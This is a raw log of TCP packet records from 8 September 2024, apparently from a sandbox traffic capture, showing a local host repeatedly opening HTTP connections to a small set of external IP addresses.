Sep 8, 2024 08:41:36.309751987 CEST	53511	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:36.315241098 CEST	53512	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:36.320029974 CEST	80	53512	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:36.320111990 CEST	53512	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:36.323982954 CEST	53512	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:36.328809977 CEST	80	53512	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:36.831553936 CEST	80	53512	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:36.831624031 CEST	80	53512	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:36.831763983 CEST	53512	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:36.832017899 CEST	53512	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:36.832570076 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.833861113 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.837591887 CEST	80	49287	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:36.837690115 CEST	49287	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.838690996 CEST	80	53513	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:36.838824034 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.838983059 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:36.846765041 CEST	80	53513	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:37.340284109 CEST	80	53513	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:37.340440035 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:37.462140083 CEST	53514	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:37.467034101 CEST	80	53514	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:37.467324018 CEST	53514	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:37.480433941 CEST	53514	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:37.485352993 CEST	80	53514	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:37.485439062 CEST	53514	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:37.492404938 CEST	53515	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:37.497380972 CEST	80	53515	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:37.497467995 CEST	53515	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:37.497562885 CEST	53515	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:37.504753113 CEST	80	53515	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:37.991286993 CEST	80	53515	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:37.991314888 CEST	80	53515	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:37.991358995 CEST	53515	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:37.991450071 CEST	53515	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:37.999489069 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:37.999782085 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:38.008059978 CEST	80	53516	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:38.008131027 CEST	80	53513	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:38.008147001 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:38.008220911 CEST	53513	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:38.008308887 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:38.013947010 CEST	80	53516	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:38.506745100 CEST	80	53516	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:38.506901979 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:43.472100019 CEST	53517	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:43.480369091 CEST	80	53517	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:43.480472088 CEST	53517	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:43.480585098 CEST	53517	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:43.485706091 CEST	53518	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:43.485807896 CEST	80	53517	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:43.485879898 CEST	53517	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:43.490674019 CEST	80	53518	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:43.490772009 CEST	53518	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:43.495899916 CEST	53518	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:43.500766039 CEST	80	53518	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:43.997010946 CEST	80	53518	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:43.997035027 CEST	80	53518	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:43.997127056 CEST	53518	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:43.997201920 CEST	53518	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:44.000221968 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.000883102 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.005203009 CEST	80	53516	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:44.005247116 CEST	53516	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.005644083 CEST	80	53519	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:44.005705118 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.005999088 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.010848999 CEST	80	53519	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:44.499912024 CEST	80	53519	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:44.500036001 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:44.616808891 CEST	53520	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:44.621917963 CEST	80	53520	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:44.622056961 CEST	53520	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:44.636554003 CEST	53520	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:44.641408920 CEST	53521	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:44.641613960 CEST	80	53520	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:44.641694069 CEST	53520	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:44.646220922 CEST	80	53521	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:44.646320105 CEST	53521	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:44.646483898 CEST	53521	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:44.651388884 CEST	80	53521	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:45.154279947 CEST	80	53521	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:45.154305935 CEST	80	53521	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:45.154407024 CEST	53521	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:45.154505968 CEST	53521	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:45.161124945 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.161521912 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.166238070 CEST	80	53519	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:45.166323900 CEST	53519	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.166338921 CEST	80	53522	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:45.166433096 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.166620016 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.171351910 CEST	80	53522	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:45.646017075 CEST	80	53522	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:45.646169901 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:45.991008043 CEST	53523	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:45.995827913 CEST	80	53523	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:45.995925903 CEST	53523	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:45.995995045 CEST	53523	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:45.999711037 CEST	53524	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:46.001571894 CEST	80	53523	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:46.001640081 CEST	53523	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:46.004821062 CEST	80	53524	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:46.004889965 CEST	53524	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:46.004949093 CEST	53524	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:46.010231972 CEST	80	53524	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:46.498558998 CEST	80	53524	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:46.498599052 CEST	80	53524	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:46.498733997 CEST	53524	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:46.498764992 CEST	53524	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:46.499301910 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:46.499661922 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:46.504317999 CEST	80	53522	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:46.504401922 CEST	53522	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:46.504441023 CEST	80	53525	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:46.504524946 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:46.505594015 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:46.510734081 CEST	80	53525	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:46.986268044 CEST	80	53525	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:46.986407042 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:50.709722042 CEST	57234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:50.714596987 CEST	80	57234	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:50.714718103 CEST	57234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:50.714809895 CEST	57234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:50.718494892 CEST	57235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:50.719813108 CEST	80	57234	88.198.29.97	192.168.2.5
Sep 8, 2024 08:41:50.719926119 CEST	57234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:41:50.723360062 CEST	80	57235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:50.723464966 CEST	57235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:50.730257988 CEST	57235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:50.735167027 CEST	80	57235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:51.215065956 CEST	80	57235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:51.215197086 CEST	80	57235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:51.215255976 CEST	57235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:51.215329885 CEST	57235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:51.216931105 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:51.217211962 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:51.222095013 CEST	80	53525	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:51.222109079 CEST	80	57236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:51.222184896 CEST	53525	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:51.222229958 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:51.222378016 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:51.227164984 CEST	80	57236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:51.733542919 CEST	80	57236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:51.733623981 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:59.491908073 CEST	64228	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:59.496727943 CEST	80	64228	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:59.496805906 CEST	64228	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:59.496884108 CEST	64228	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:59.501251936 CEST	64229	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:59.505940914 CEST	80	64228	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:59.506093979 CEST	80	64229	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:59.506159067 CEST	64229	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:59.506258965 CEST	64229	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:59.506434917 CEST	80	64228	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:59.506479979 CEST	64228	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:59.510997057 CEST	80	64229	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:00.008054018 CEST	80	64229	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:00.008127928 CEST	80	64229	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:00.008172035 CEST	64229	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:00.008233070 CEST	64229	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:00.010237932 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.010587931 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.015564919 CEST	80	64230	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:00.015640974 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.015773058 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.020584106 CEST	80	64230	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:00.021516085 CEST	80	57236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:00.021568060 CEST	57236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.524609089 CEST	80	64230	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:00.524868965 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:00.657802105 CEST	64231	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:00.662641048 CEST	80	64231	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:00.662733078 CEST	64231	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:00.667718887 CEST	64231	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:00.671866894 CEST	64232	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:00.672632933 CEST	80	64231	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:00.672712088 CEST	64231	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:00.679955006 CEST	80	64232	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:00.680067062 CEST	64232	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:00.680305004 CEST	64232	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:00.685684919 CEST	80	64232	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:01.165190935 CEST	80	64232	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:01.165220976 CEST	80	64232	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:01.165288925 CEST	64232	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:01.165359974 CEST	64232	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:01.187477112 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.187992096 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.194811106 CEST	80	64230	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:01.194866896 CEST	64230	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.195123911 CEST	80	64233	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:01.195188046 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.197820902 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.202570915 CEST	80	64233	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:01.681560993 CEST	80	64233	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:01.681698084 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:01.824069977 CEST	64234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:01.828968048 CEST	80	64234	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:01.829066992 CEST	64234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:01.839634895 CEST	64234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:01.843215942 CEST	64235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:01.844578028 CEST	80	64234	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:01.844662905 CEST	64234	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:01.848196983 CEST	80	64235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:01.848315954 CEST	64235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:01.855267048 CEST	64235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:02.085427046 CEST	80	64235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:02.355171919 CEST	80	64235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:02.355215073 CEST	80	64235	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:02.355308056 CEST	64235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:02.355397940 CEST	64235	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:02.355853081 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:02.356230021 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:02.361016989 CEST	80	64236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:02.361138105 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:02.361140013 CEST	80	64233	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:02.361212015 CEST	64233	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:02.361280918 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:02.366035938 CEST	80	64236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:02.842648029 CEST	80	64236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:02.842756033 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.193996906 CEST	64237	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:03.198854923 CEST	80	64237	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:03.198951006 CEST	64237	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:03.199227095 CEST	64237	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:03.204996109 CEST	64238	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:03.208466053 CEST	80	64237	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:03.208530903 CEST	64237	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:03.212255001 CEST	80	64238	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:03.212361097 CEST	64238	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:03.212457895 CEST	64238	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:03.217283010 CEST	80	64238	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:03.695502043 CEST	80	64238	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:03.695658922 CEST	80	64238	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:03.695738077 CEST	64238	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:03.695806980 CEST	64238	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:03.701133966 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.701401949 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.706166983 CEST	80	64239	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:03.706321955 CEST	80	64236	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:03.706408978 CEST	64236	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.706422091 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.707221985 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:03.712112904 CEST	80	64239	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:04.194554090 CEST	80	64239	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:04.194626093 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:09.708923101 CEST	64240	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:09.713851929 CEST	80	64240	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:09.713960886 CEST	64240	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:09.714574099 CEST	64240	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:09.719443083 CEST	80	64240	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:09.719523907 CEST	64240	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:09.721910000 CEST	64241	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:09.726799011 CEST	80	64241	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:09.726902962 CEST	64241	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:09.727025986 CEST	64241	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:09.731820107 CEST	80	64241	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:10.272775888 CEST	80	64241	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:10.272795916 CEST	80	64241	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:10.272802114 CEST	80	64241	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:10.272862911 CEST	64241	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:10.272981882 CEST	64241	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:10.293970108 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:10.294456005 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:10.299283981 CEST	80	64242	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:10.299349070 CEST	80	64239	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:10.299417019 CEST	64239	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:10.299447060 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:10.305552959 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:10.310410023 CEST	80	64242	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:10.782286882 CEST	80	64242	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:10.782354116 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:14.820988894 CEST	64243	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:14.825771093 CEST	80	64243	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:14.825908899 CEST	64243	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:14.826052904 CEST	64243	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:14.831325054 CEST	80	64243	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:14.831451893 CEST	64243	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:14.836503029 CEST	64244	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:14.841289043 CEST	80	64244	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:14.841388941 CEST	64244	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:14.855218887 CEST	64244	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:14.860073090 CEST	80	64244	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:15.327265024 CEST	80	64244	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:15.327388048 CEST	64244	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:15.327512026 CEST	80	64244	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:15.327557087 CEST	64244	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:15.330017090 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:15.330570936 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:15.335383892 CEST	80	64242	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:15.335453987 CEST	80	64245	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:15.335520983 CEST	64242	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:15.335556984 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:15.335741997 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:15.343133926 CEST	80	64245	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:15.986202002 CEST	80	64245	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:15.986282110 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.122854948 CEST	64246	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:16.127757072 CEST	80	64246	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:16.127835989 CEST	64246	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:16.136456966 CEST	64246	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:16.140913010 CEST	64247	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:16.141410112 CEST	80	64246	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:16.141493082 CEST	64246	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:16.145842075 CEST	80	64247	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:16.145926952 CEST	64247	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:16.152091026 CEST	64247	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:16.157109022 CEST	80	64247	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:16.628696918 CEST	80	64247	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:16.628715992 CEST	80	64247	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:16.628884077 CEST	64247	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:16.629168034 CEST	64247	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:16.633965015 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.635255098 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.639033079 CEST	80	64245	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:16.639137983 CEST	64245	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.640041113 CEST	80	64248	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:16.640188932 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.640372992 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:16.645108938 CEST	80	64248	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:17.143831968 CEST	80	64248	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:17.143953085 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:17.891283989 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:17.896126986 CEST	80	64249	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:17.896194935 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:17.896331072 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:17.901061058 CEST	80	64249	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:18.392592907 CEST	80	64249	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:18.392620087 CEST	80	64249	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:18.392719030 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:18.392851114 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:18.392879963 CEST	64249	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:18.396775007 CEST	64250	80	192.168.2.5	172.234.222.143
